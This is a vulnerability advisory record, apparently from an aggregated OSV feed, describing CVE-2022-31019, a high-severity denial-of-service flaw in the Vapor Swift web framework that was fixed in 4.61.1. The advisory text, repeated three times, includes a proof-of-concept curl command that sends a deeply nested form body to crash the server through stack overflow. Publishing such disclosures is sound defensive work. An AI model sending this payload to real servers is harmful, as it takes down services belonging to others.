High
DoS Vulnerability in URLEncodedFormDecoder in Vapor
Type: advisorySources: OSV
Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: `curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo`. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1.
- Products
- Not specified
- Affected versions
- Not specified
- Fixed versions
- Not specified
- CVEs
- CVE-2022-31019
- Confirmed fixed CVEs
- Not specified
- Updated in this feed
- 4 Nov 2026, 16:28 UTC · Revision 1
Source evidence
DoS Vulnerability in URLEncodedFormDecoder in Vapor
core-osv · Original sourcePublished 6 Jun 2022, 21:05 UTC
Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: `curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo`. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1.
osv:CVE-2022-31019
Complete source record
{
"id": "5054a9ef806c886f995d5e3c3d77c37c405d94eb9c207eec5e83d22827c9c1a3",
"url": "https://osv.dev/vulnerability/CVE-2022-31019",
"method": "structured",
"payload": {
"kind": "advisory",
"title": "DoS Vulnerability in URLEncodedFormDecoder in Vapor",
"summary": "Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: `curl -d \"array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world\" http://localhost:8080/foo`. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1.",
"evidence": "osv:CVE-2022-31019",
"products": [],
"severity": "high",
"structured": {
"id": "CVE-2022-31019",
"aliases": [
"CVE-2022-31019",
"GHSA-qvxg-wjxc-r4gg"
],
"metrics": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}
],
"affected": [
{
"ranges": [
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"repo": "https://github.com/vapor/vapor",
"type": "GIT",
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"source": "REFERENCES_COMMIT"
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{
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}
],
"modified": "2026-10-28T02:30:37.524463564Z",
"provider": "osv",
"references": [
"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/31xxx/CVE-2022-31019.json",
"https://github.com/vapor/vapor/security/advisories/GHSA-qvxg-wjxc-r4gg",
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}
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"evidence": "/id"
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"source_id": "core-osv",
"document_id": 504691,
"published_at": "2022-06-06T21:05:20+00:00"
}